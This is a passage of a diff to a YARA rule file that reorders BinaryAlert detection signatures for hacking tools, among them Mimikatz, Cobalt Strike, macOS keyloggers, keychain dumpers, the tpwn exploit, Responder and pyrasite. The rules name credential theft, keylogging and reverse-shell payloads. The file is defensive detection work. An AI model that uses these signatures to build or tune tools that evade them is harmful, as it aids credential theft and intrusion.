password for non local connections" wide ascii - $a2 = "WS-Management is running on the remote host" wide ascii - $a3 = "firewall (if enabled) allows connections" wide ascii - $a4 = "WARNING: Didn't see stdout output finished marker - output may be truncated" wide ascii - $a5 = "Command sleep in milliseconds - increase if getting truncated output" wide ascii - $b1 = "0x800706BA" wide ascii - $b2 = "NTLMDOMAIN:" wide ascii - $b3 = "cimv2" wide ascii + $a1 = "YVBKeyLoggerPerishedNotification" wide ascii + $a2 = "YVBKeyLoggerPerishedByLackOfResponseNotification" wide ascii + $a3 = "YVBKeyLoggerPerishedByUserChangeNotification" wide ascii condition: - any of ( $a* ) or all of ( $b* ) + 2 of ( $a* ) } -rule BINARYALERT_Hacktool_Windows_Moyix_Creddump +rule BINARYALERT_Hacktool_Macos_Keylogger_Giacomolaw { meta: - description = "creddump is a python tool to extract credentials and secrets from Windows registry hives." + description = "A simple keylogger for macOS." author = "@mimeframe" - id = "46df781a-abab-5593-99f9-1a6b993904cb" + id = "81fcf792-a0a9-5b97-a71c-4c517a7b910c" date = "2017-09-12" modified = "2017-09-12" - reference = "https://github.com/moyix/creddump" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/windows/hacktool_windows_moyix_creddump.yara#L1-L16" + reference = "https://github.com/GiacomoLaw/Keylogger" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_keylogger_giacomolaw.yara#L1-L13" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - logic_hash = "3f2f4c5069fcb3d3b1d293a471bcf9489f058f27cd385885ab2bb4f719a3bd9d" + logic_hash = "45ca583c07b8593ed716306ae6f80eef1c3fc5652aed739454fa8007fae929b4" score = 75 quality = 80 tags = "" strings: - $a1 = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%" wide ascii - $a2 = "0123456789012345678901234567890123456789" wide ascii - $a3 = "NTPASSWORD" wide ascii - $a4 = "LMPASSWORD" wide ascii - $a5 = "aad3b435b51404eeaad3b435b51404ee" wide ascii - $a6 = "31d6cfe0d16ae931b73c59d7e0c089c0" wide ascii + $a1 = "ERROR: Unable to access keystroke log file. Please make sure you have the correct permissions." wide ascii + $a2 = "ERROR: Unable to create event tap." wide ascii + $a3 = "Keystrokes are now being recorded" wide ascii condition: - all of ( $a* ) + 2 of ( $a* ) } - -rule BINARYALERT_Hacktool_Windows_Cobaltstrike_Artifact_Exe : FILE +rule BINARYALERT_Hacktool_Macos_Manwhoami_Icloudcontacts { meta: - description = "Detection of the Artifact payload from Cobalt Strike" - author = "@javutin, @joseselvi" - id = "ca92eea2-ad19-56df-af73-bebfc3690377" - date = "2017-12-14" - modified = "2017-12-14" - reference = "https://www.cobaltstrike.com/help-artifact-kit" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/windows/hacktool_windows_cobaltstrike_artifact.yara#L6-L17" + description = "Pulls iCloud Contacts for an account. No dependencies. No user notification." + author = "@mimeframe" + id = "b6595540-7f89-5764-b34e-d32c1a377b6c" + date = "2017-09-12" + modified = "2017-09-12" + reference = "https://github.com/manwhoami/iCloudContacts" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_manwhoami_icloudcontacts.yara#L1-L14" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - logic_hash = "f2f3b9936041cb4bb4b5613d2522553b9835704e1be52993e757fc0edbdd7871" + logic_hash = "0c5b81454b26de91f5ad126b24f10397e1da5d8561b0bf22c5df128753df0ac2" score = 75 - quality = 55 - tags = "FILE" + quality = 80 + tags = "" + + strings: + $a1 = "https://setup.icloud.com/setup/authenticate/" wide ascii + $a2 = "https://p04-contacts.icloud.com/" wide ascii + $a3 = "HTTP Error 401: Unauthorized. Are you sure the credentials are correct?" wide ascii + $a4 = "HTTP Error 404: URL not found. Did you enter a username?" wide ascii condition: - BINARYALERT_Cobaltstrike_Template_Exe_PRIVATE and filesize < 100KB and pe.sections [ pe.section_index ( ".data" ) ] . raw_data_size > 512 and math.entropy ( pe.sections [ pe.section_index ( ".data" ) ] . raw_data_offset , 512 ) >= 7 + 3 of ( $a* ) } -rule BINARYALERT_Hacktool_Windows_Mimikatz_Errors +rule BINARYALERT_Hacktool_Macos_Juuso_Keychaindump { meta: - description = "Mimikatz credential dump tool: Error messages" - author = "@fusionrace" - id = "94d50739-fc84-5bfe-821d-5e2851f681e3" - date = "2017-08-11" - modified = "2017-08-11" - reference = "https://github.com/gentilkiwi/mimikatz" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/windows/hacktool_windows_mimikatz_errors.yara#L1-L16" + description = "For reading OS X keychain passwords as root." + author = "@mimeframe" + id = "10ee6c24-db35-5178-9a40-92f5231948aa" + date = "2017-09-12" + modified = "2017-09-12" + reference = "https://github.com/juuso/keychaindump" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_juuso_keychaindump.yara#L1-L16" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - logic_hash = "60fb94b9465b19af3b2df1b26490d4ac19a31a39f2f8c52f1059d37843769b36" + logic_hash = "dd2fb6249fe4b7381e734ea3a308158159f7e79b39ba5c970241dcd66436d669" score = 75 quality = 80 tags = "" - md5_1 = "09054be3cc568f57321be32e769ae3ccaf21653e5d1e3db85b5af4421c200669" - md5_2 = "004c07dcd04b4e81f73aacd99c7351337f894e4dac6c91dcfaadb4a1510a967c" strings: - $s1 = "[ERROR] [LSA] Symbols" fullword ascii wide - $s2 = "[ERROR] [CRYPTO] Acquire keys" fullword ascii wide - $s3 = "[ERROR] [CRYPTO] Symbols" fullword ascii wide - $s4 = "[ERROR] [CRYPTO] Init" fullword ascii wide + $a1 = "[-] Too many candidate keys to fit in memory" wide ascii + $a2 = "[-] Could not allocate memory for key search" wide ascii + $a3 = "[-] Too many credentials to fit in memory" wide ascii + $a4 = "[-] The target file is not a keychain file" wide ascii + $a5 = "[-] Could not find the securityd process" wide ascii + $a6 = "[-] No root privileges, please run with sudo" wide ascii condition: - all of them + 4 of ( $a* ) } -rule BINARYALERT_Hacktool_Windows_Mimikatz_Files +rule BINARYALERT_Hacktool_Macos_Keylogger_B4Rsby_Swiftlog { meta: - description = "Mimikatz credential dump tool: Files" - author = "@fusionrace" - id = "ea4fd443-64dd-5466-8525-40c3a023e229" - date = "2017-08-11" - modified = "2017-08-11" - reference = "https://github.com/gentilkiwi/mimikatz" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/windows/hacktool_windows_mimikatz_files.yara#L1-L15" + description = "Dirty user level command line keylogger hacked together in Swift." + author = "@mimeframe" + id = "b1ae8284-04a0-5818-9997-0e31eb51ed2b" + date = "2017-09-12" + modified = "2017-09-12" + reference = "https://github.com/b4rsby/SwiftLog" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_keylogger_b4rsby_swiftlog.yara#L1-L11" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - logic_hash = "50d23cda49ca559da2e504e53b46b58679ea8bc07c501ff7764a3d142598adc8" + logic_hash = "c66dcab2da0e543198f97ca104c13533c8950d10b6f7cbd3f906348d0f8c45ff" score = 75 quality = 80 tags = "" - md5_1 = "09054be3cc568f57321be32e769ae3ccaf21653e5d1e3db85b5af4421c200669" - md5_2 = "004c07dcd04b4e81f73aacd99c7351337f894e4dac6c91dcfaadb4a1510a967c" strings: - $s1 = "kiwifilter.log" fullword wide - $s2 = "kiwissp.log" fullword wide - $s3 = "mimilib.dll" fullword ascii wide + $a1 = "You need to enable the keylogger in the System Prefrences" wide ascii condition: - any of them + all of ( $a* ) } -rule BINARYALERT_Hacktool_Windows_Mimikatz_Copywrite +rule BINARYALERT_Hacktool_Macos_Macpmem { meta: - description = "Mimikatz credential dump tool: Author copywrite" - author = "@fusionrace" - id = "bf7a52b5-c0af-5805-a2da-41ae3842e0c6" + description = "MacPmem enables read/write access to physical memory on macOS. Can be used by CSIRT teams and attackers." + author = "@mimeframe" + id = "4890598e-936c-5a4d-9004-88ff4fe57c49" date = "2017-08-11" modified = "2017-08-11" - reference = "https://github.com/gentilkiwi/mimikatz" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/windows/hacktool_windows_mimikatz_copywrite.yara#L1-L24" + reference = "https://github.com/google/rekall/tree/master/tools/osx/MacPmem" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_macpmem.yara#L3-L22" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - logic_hash = "f0e8a8b0c7398e7af06bd074eec0433265ba0e675bdbff354e59432c246b0b36" + logic_hash = "d64b5a5423932211e3b72d949028f3f0ed1f1435e9584cffa947f2bd4846c29b" score = 75 quality = 80 tags = "" - md5_1 = "0c87c0ca04f0ab626b5137409dded15ac66c058be6df09e22a636cc2bcb021b8" - md5_2 = "0c91f4ca25aedf306d68edaea63b84efec0385321eacf25419a3050f2394ee3b" - md5_3 = "0fee62bae204cf89d954d2cbf82a76b771744b981aef4c651caab43436b5a143" - md5_4 = "004c07dcd04b4e81f73aacd99c7351337f894e4dac6c91dcfaadb4a1510a967c" - md5_5 = "09c542ff784bf98b2c4899900d4e699c5b2e2619a4c5eff68f6add14c74444ca" - md5_6 = "09054be3cc568f57321be32e769ae3ccaf21653e5d1e3db85b5af4421c200669" strings: - $s1 = "Kiwi en C" fullword ascii wide - $s2 = "Benjamin DELPY `gentilkiwi`" fullword ascii wide - $s3 = "http://blog.gentilkiwi.com/mimikatz" fullword ascii wide - $s4 = "Build with love for POC only" fullword ascii wide - $s5 = "gentilkiwi (Benjamin DELPY)" fullword wide - $s6 = "KiwiSSP" fullword wide - $s7 = "Kiwi Security Support Provider" fullword wide - $s8 = "kiwi flavor !" fullword wide + $a1 = "%s/MacPmem.kext" wide ascii + $a2 = "The Pmem physical memory imager." wide ascii + $a3 = "The OSXPmem memory imager." wide ascii + $a4 = "These AFF4 Volumes will be loaded and their metadata will be parsed before the program runs." wide ascii + $a5 = "Pmem driver version incompatible. Reported" wide ascii + $a6 = "Memory access driver left loaded since you specified the -l flag." wide ascii + $b1 = "Unloading MacPmem" wide ascii + $b2 = "MacPmem load tag is" wide ascii condition: - any of them + BINARYALERT_Macho_PRIVATE and 2 of ( $a* ) or all of ( $b* ) } -rule BINARYALERT_Hacktool_Windows_Cobaltstrike_Postexploitation : FILE +rule BINARYALERT_Hacktool_Macos_Exploit_Tpwn { meta: - description = "Detection of strings in the post-exploitation modules of Cobalt Strike" - author = "@javutin, @mimeframe" - id = "76c2a5ae-bc7c-50c7-8731-94c75912574f" - date = "2017-12-14" - modified = "2017-12-14" - reference = "https://www.cobaltstrike.com/support" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/windows/hacktool_windows_cobaltstrike_postexploitation.yara#L1-L13" + description = "tpwn exploits a null pointer dereference in XNU to escalate privileges to root." + author = "@mimeframe" + id = "b69c4e1c-554e-5553-9b21-6cdf33aff24e" + date = "2017-09-14" + modified = "2017-09-14" + reference = "https://www.rapid7.com/db/modules/exploit/osx/local/tpwn" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_exploit_tpwn.yara#L1-L14" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - logic_hash = "1a89128a0f5774d1333be440d38128e29cb36f9818fa44e60482ef078078aca8" + logic_hash = "f864d8c137746edd50526b1d3d95a7335f776cf1473d2d2ea28856dbc515dd9f" score = 75 quality = 80 - tags = "FILE" + tags = "" strings: - $s1 = "\\devcenter\\aggressor\\external\\" + $a1 = "[-] Couldn't find a ROP gadget, aborting." wide ascii + $a2 = "leaked kaslr slide," wide ascii + $a3 = "didn't get root, but this system is vulnerable." wide ascii + $a4 = "Escalating privileges! -qwertyoruiop" wide ascii condition: - filesize > 10KB and filesize < 1000KB and all of ( $s* ) + 2 of ( $a* ) } -rule BINARYALERT_Hacktool_Windows_Cobaltstrike_Powershell : FILE +rule BINARYALERT_Hacktool_Macos_Ptoomey3_Keychain_Dumper { meta: - description = "Detection of the PowerShell payloads from Cobalt Strike" - author = "@javutin, @joseselvi" - id = "155f181a-56cb-5295-a903-744f79012733" - date = "2017-12-14" - modified = "2017-12-14" - reference = "https://www.cobaltstrike.com/help-payload-generator" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/windows/hacktool_windows_cobaltstrike_powershell.yara#L1-L21" + description = "Keychain dumping utility." + author = "@mimeframe" + id = "c45abbbe-f5fe-5a87-acd4-dcdb99ceec28" + date = "2017-09-12" + modified = "2017-09-12" + reference = "https://github.com/ptoomey3/Keychain-Dumper" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_ptoomey3_keychain_dumper.yara#L1-L15" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - logic_hash = "39dd0aaa84d02aae5766d764c3d371f03f9df33acf5f6ae4ab4a8c73dd827213" + logic_hash = "f2ef979e4682ce617b37f7503ec2ca520e657b4f6d15a75afad59b62191a1a43" score = 75 quality = 80 - tags = "FILE" + tags = "" strings: - $ps1 = "Set-StrictMode -Version 2" - $ps2 = "func_get_proc_address" - $ps3 = "func_get_delegate_type" - $ps4 = "FromBase64String" - $ps5 = "VirtualAlloc" - $ps6 = "var_code" - $ps7 = "var_buffer" - $ps8 = "var_hthread" + $a1 = "keychain_dumper" wide ascii + $a2 = "/var/Keychains/keychain-2.db" wide ascii + $a3 = "keychain-access-groups" wide ascii + $a4 = "SELECT DISTINCT agrp FROM genp UNION SELECT DISTINCT agrp FROM inet" wide ascii + $a5 = "dumpEntitlements" wide ascii condition: - $ps1 at 0 and filesize < 1000KB and all of ( $ps* ) + all of ( $a* ) } rule BINARYALERT_Hacktool_Macos_Keylogger_Logkext { @@ -68897,416 +68720,540 @@ rule BINARYALERT_Hacktool_Macos_Keylogger_Logkext condition: 3 of ( $a* ) or all of ( $b* ) or all of ( $c* ) or all of ( $d* ) } -rule BINARYALERT_Hacktool_Macos_Exploit_Tpwn +rule BINARYALERT_Hacktool_Macos_Keylogger_Roxlu_Ofxkeylogger { meta: - description = "tpwn exploits a null pointer dereference in XNU to escalate privileges to root." + description = "ofxKeylogger keylogger." author = "@mimeframe" - id = "b69c4e1c-554e-5553-9b21-6cdf33aff24e" - date = "2017-09-14" - modified = "2017-09-14" - reference = "https://www.rapid7.com/db/modules/exploit/osx/local/tpwn" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_exploit_tpwn.yara#L1-L14" + id = "c0e00b76-9623-5709-b64b-0afe006eba60" + date = "2017-09-12" + modified = "2017-09-12" + reference = "https://github.com/roxlu/ofxKeylogger" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_keylogger_roxlu_ofxkeylogger.yara#L1-L13" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - logic_hash = "f864d8c137746edd50526b1d3d95a7335f776cf1473d2d2ea28856dbc515dd9f" + logic_hash = "6e2579a10327cc8f1799848b3bcbcd95733a31098faeb849df6ebf99f1ffe808" score = 75 quality = 80 tags = "" strings: - $a1 = "[-] Couldn't find a ROP gadget, aborting." wide ascii - $a2 = "leaked kaslr slide," wide ascii - $a3 = "didn't get root, but this system is vulnerable." wide ascii - $a4 = "Escalating privileges! -qwertyoruiop" wide ascii + $a1 = "keylogger_init" wide ascii + $a2 = "install_keylogger_hook function not found in dll." wide ascii + $a3 = "keylogger_set_callback" wide ascii condition: - 2 of ( $a* ) + all of ( $a* ) } -rule BINARYALERT_Hacktool_Macos_Ptoomey3_Keychain_Dumper +rule BINARYALERT_Hacktool_Multi_Ntlmrelayx { meta: - description = "Keychain dumping utility." + description = "No description has been set in the source file - BinaryAlert" author = "@mimeframe" - id = "c45abbbe-f5fe-5a87-acd4-dcdb99ceec28" - date = "2017-09-12" - modified = "2017-09-12" - reference = "https://github.com/ptoomey3/Keychain-Dumper" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_ptoomey3_keychain_dumper.yara#L1-L15" + id = "7e0bc28f-9cb7-5c09-aedc-d95af23454aa" + date = "2017-08-11" + modified = "2017-08-11" + reference = "https://github.com/CoreSecurity/impacket/blob/master/examples/ntlmrelayx.py" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/multi/hacktool_multi_ntlmrelayx.yara#L1-L15" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - logic_hash = "f2ef979e4682ce617b37f7503ec2ca520e657b4f6d15a75afad59b62191a1a43" + logic_hash = "0d5d2d38866eb243e1803c456944e887d9d3920c54b15fd658bf90831fd87bfa" score = 75 quality = 80 tags = "" strings: - $a1 = "keychain_dumper" wide ascii - $a2 = "/var/Keychains/keychain-2.db" wide ascii - $a3 = "keychain-access-groups" wide ascii - $a4 = "SELECT DISTINCT agrp FROM genp UNION SELECT DISTINCT agrp FROM inet" wide ascii - $a5 = "dumpEntitlements" wide ascii + $a1 = "Started interactive SMB client shell via TCP" wide ascii + $a2 = "Service Installed.. CONNECT!" wide ascii + $a3 = "Done dumping SAM hashes for host:" wide ascii + $a4 = "DA already added. Refusing to add another" wide ascii + $a5 = "Domain info dumped into lootdir!" wide ascii condition: - all of ( $a* ) + any of ( $a* ) } -rule BINARYALERT_Hacktool_Macos_Keylogger_Skreweverything_Swift +rule BINARYALERT_Hacktool_Multi_Responder_Py { meta: - description = "It is a simple and easy to use keylogger for macOS written in Swift." - author = "@mimeframe" - id = "a4918bc3-d3f0-59f4-894f-fd34ee944fac" - date = "2017-09-12" - modified = "2017-09-12" - reference = "https://github.com/SkrewEverything/Swift-Keylogger" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_keylogger_skreweverything_swift.yara#L1-L15" + description = "Responder is a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server" + author = "@fusionrace" + id = "82699a67-8ba1-5535-9183-3c857e60134c" + date = "2017-08-11" + modified = "2017-08-11" + reference = "http://www.c0d3xpl0it.com/2017/02/compromising-domain-admin-in-internal-pentest.html" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/multi/hacktool_multi_responder_py.yara#L1-L17" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - logic_hash = "f400b8ec392417e7443e82a2c2a9adfc868b9795aa1fb29f91d228f6f94efd13" + logic_hash = "a99a806b7c578af1f2163583f957db13fa7269c7426666189d85bec2ac87ad4b" score = 75 quality = 80 tags = "" strings: - $a1 = "Can't create directories!" wide ascii - $a2 = "Can't create manager" wide ascii - $a3 = "Can't open HID!" wide ascii - $a4 = "PRINTSCREEN" wide ascii - $a5 = "LEFTARROW" wide ascii + $s1 = "Poison all requests with another IP address than Responder's one." fullword ascii wide + $s2 = "Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned." fullword ascii wide + $s3 = "Enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network." fullword ascii wide + $s4 = "This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query." fullword ascii wide + $s5 = "Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)" fullword ascii wide + $s6 = "31mOSX detected, -i mandatory option is missing" fullword ascii wide + $s7 = "This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query." fullword ascii wide condition: - 4 of ( $a* ) + any of them } -rule BINARYALERT_Hacktool_Macos_Macpmem +rule BINARYALERT_Hacktool_Multi_Pyrasite_Py { meta: - description = "MacPmem enables read/write access to physical memory on macOS. Can be used by CSIRT teams and attackers." - author = "@mimeframe" - id = "4890598e-936c-5a4d-9004-88ff4fe57c49" + description = "A tool for injecting arbitrary code into running Python processes." + author = "@fusionrace" + id = "0acd0044-a41c-5e9e-bb94-301cd704cf9d" date = "2017-08-11" modified = "2017-08-11" - reference = "https://github.com/google/rekall/tree/master/tools/osx/MacPmem" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_macpmem.yara#L3-L22" + reference = "https://github.com/lmacken/pyrasite" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/multi/hacktool_multi_pyrasite_py.yara#L1-L24" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - logic_hash = "d64b5a5423932211e3b72d949028f3f0ed1f1435e9584cffa947f2bd4846c29b" + logic_hash = "7f3f3df5bd5c1bee2d85ff97878ad36223ab743926a5f8f1c079b039f724abc9" score = 75 quality = 80 tags = "" strings: - $a1 = "%s/MacPmem.kext" wide ascii - $a2 = "The Pmem physical memory imager." wide ascii - $a3 = "The OSXPmem memory imager." wide ascii - $a4 = "These AFF4 Volumes will be loaded and their metadata will be parsed before the program runs." wide ascii - $a5 = "Pmem driver version incompatible. Reported" wide ascii - $a6 = "Memory access driver left loaded since you specified the -l flag." wide ascii - $b1 = "Unloading MacPmem" wide ascii - $b2 = "MacPmem load tag is" wide ascii + $s1 = "WARNING: ptrace is disabled. Injection will not work." fullword ascii wide + $s2 = "A payload that connects to a given host:port and receives commands" fullword ascii wide + $s3 = "A reverse Python connection payload." fullword ascii wide + $s4 = "pyrasite - inject code into a running python process" fullword ascii wide + $s5 = "The ID of the process to inject code into" fullword ascii wide + $s6 = "This file is part of pyrasite." fullword ascii wide + $s7 = "https://github.com/lmacken/pyrasite" fullword ascii wide + $s8 = "Setup a communication socket with the process by injecting" fullword ascii wide + $s9 = "a reverse subshell and having it connect back to us." fullword ascii wide + $s10 = "Write out a reverse python connection payload with a custom port" fullword ascii wide + $s11 = "Wait for the injected payload to connect back to us" fullword ascii wide + $s12 = "PyrasiteIPC" fullword ascii wide + $s13 = "A reverse Python shell that behaves like Python interactive interpreter." fullword ascii wide + $s14 = "pyrasite cannot establish reverse" fullword ascii wide condition: - BINARYALERT_Macho_PRIVATE and 2 of ( $a* ) or all of ( $b* ) + any of them } -rule BINARYALERT_Hacktool_Macos_Juuso_Keychaindump +rule BINARYALERT_Hacktool_Multi_Jtesta_Ssh_Mitm { meta: - description = "For reading OS X keychain passwords as root." - author = "@mimeframe" - id = "10ee6c24-db35-5178-9a40-92f5231948aa" - date = "2017-09-12" - modified = "2017-09-12" - reference = "https://github.com/juuso/keychaindump" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_juuso_keychaindump.yara#L1-L16" + description = "intercepts ssh connections to capture credentials" + author = "@fusionrace" + id = "fa8362e2-83d3-5830-8952-502684ad66f9" + date = "2017-08-11" + modified = "2017-08-11" + reference = "https://github.com/jtesta/ssh-mitm" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/multi/hacktool_multi_jtesta_ssh_mitm.yara#L1-L12" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - logic_hash = "dd2fb6249fe4b7381e734ea3a308158159f7e79b39ba5c970241dcd66436d669" + logic_hash = "1d19c83f7d648a0d30074debcd76ff0faf72afa6722251661f8640abdc12a2a9" + score = 50 + quality = 80 + tags = "" + + strings: + $a1 = "INTERCEPTED PASSWORD:" wide ascii + $a2 = "more sshbuf problems." wide ascii + + condition: + all of ( $a* ) +} +rule BINARYALERT_Hacktool_Multi_Bloodhound_Owned +{ + meta: + description = "Bloodhound: Custom queries to document a compromise, find collateral spread of owned nodes, and visualize deltas in privilege gains" + author = "@fusionrace" + id = "4d458339-6589-5094-8c23-1ad2baee19f1" + date = "2017-08-11" + modified = "2017-08-11" + reference = "https://github.com/porterhau5/BloodHound-Owned/" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/multi/hacktool_multi_bloodhound_owned.yara#L1-L20" + license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" + logic_hash = "01ef15a3cd606c46dacb0f22477fe97f94e212a38af1cd5bdd7eb11efe8144dd" score = 75 quality = 80 tags = "" strings: - $a1 = "[-] Too many candidate keys to fit in memory" wide ascii - $a2 = "[-] Could not allocate memory for key search" wide ascii - $a3 = "[-] Too many credentials to fit in memory" wide ascii - $a4 = "[-] The target file is not a keychain file" wide ascii - $a5 = "[-] Could not find the securityd process" wide ascii - $a6 = "[-] No root privileges, please run with sudo" wide ascii + $s1 = "Find all owned Domain Admins" fullword ascii wide + $s2 = "Find Shortest Path from owned node to Domain Admins" fullword ascii wide + $s3 = "List all directly owned nodes" fullword ascii wide + $s4 = "Set owned and wave properties for a node" fullword ascii wide + $s5 = "Find spread of compromise for owned nodes in wave" fullword ascii wide + $s6 = "Show clusters of password reuse" fullword ascii wide + $s7 = "Something went wrong when creating SharesPasswordWith relationship" fullword ascii wide + $s8 = "reference doc of custom Cypher queries for BloodHound" fullword ascii wide + $s9 = "Created SharesPasswordWith relationship between" fullword ascii wide + $s10 = "Skipping finding spread of compromise due to" fullword ascii wide condition: - 4 of ( $a* ) + any of them } -rule BINARYALERT_Hacktool_Macos_N0Fate_Chainbreaker +rule BINARYALERT_Hacktool_Multi_Ncc_ABPTTS { meta: - description = "chainbreaker can extract user credential in a Keychain file with Master Key or user password in forensically sound manner." + description = "Allows for TCP tunneling over HTTP" author = "@mimeframe" - id = "565d31c6-8d80-534d-8acc-c01d7af4f8b3" - date = "2017-09-12" - modified = "2017-09-12" - reference = "https://github.com/n0fate/chainbreaker" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_n0fate_chainbreaker.yara#L1-L13" + id = "dd5f6316-9e51-5cc8-b293-dc33b09cc801" + date = "2017-08-11" + modified = "2017-08-11" + reference = "https://github.com/nccgroup/ABPTTS" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/multi/hacktool_multi_ncc_ABPTTS.yara#L1-L19" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - logic_hash = "7aedf952756ed2375ff171329179f14a8cdc37ada69e1f003def1f1de5bc1691" + logic_hash = "09874b1d997ac193ad1afa0226f6fb22836c8720c0599d773b18072b92a3acc4" score = 75 quality = 80 tags = "" strings: - $a1 = "[!] Private Key Table is not available" wide ascii - $a2 = "[!] Public Key Table is not available" wide ascii - $a3 = "[-] Decrypted Private Key" wide ascii + $s1 = "---===[[[ A Black Path Toward The Sun ]]]===---" ascii wide + $s2 = "https://vulnerableserver/EStatus/" ascii wide + $s3 = "Error: no ABPTTS forwarding URL was specified. This utility will now exit." ascii wide + $s4 = "tQgGur6TFdW9YMbiyuaj9g6yBJb2tCbcgrEq" fullword ascii wide + $s5 = "63688c4f211155c76f2948ba21ebaf83" fullword ascii wide + $s6 = "ABPTTSClient-log.txt" fullword ascii wide condition: - all of ( $a* ) + any of them } -rule BINARYALERT_Hacktool_Macos_Exploit_Cve_5889 +rule BINARYALERT_Hacktool_Multi_Masscan { meta: - description = "No description has been set in the source file - BinaryAlert" + description = "masscan is a performant port scanner, it produces results similar to nmap" author = "@mimeframe" - id = "ea70d31c-1b70-5927-ba8d-e13d2114e74e" - date = "2017-09-12" - modified = "2017-09-12" - reference = "https://www.exploit-db.com/exploits/38371/" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_exploit_cve_2015_5889.yara#L1-L16" + id = 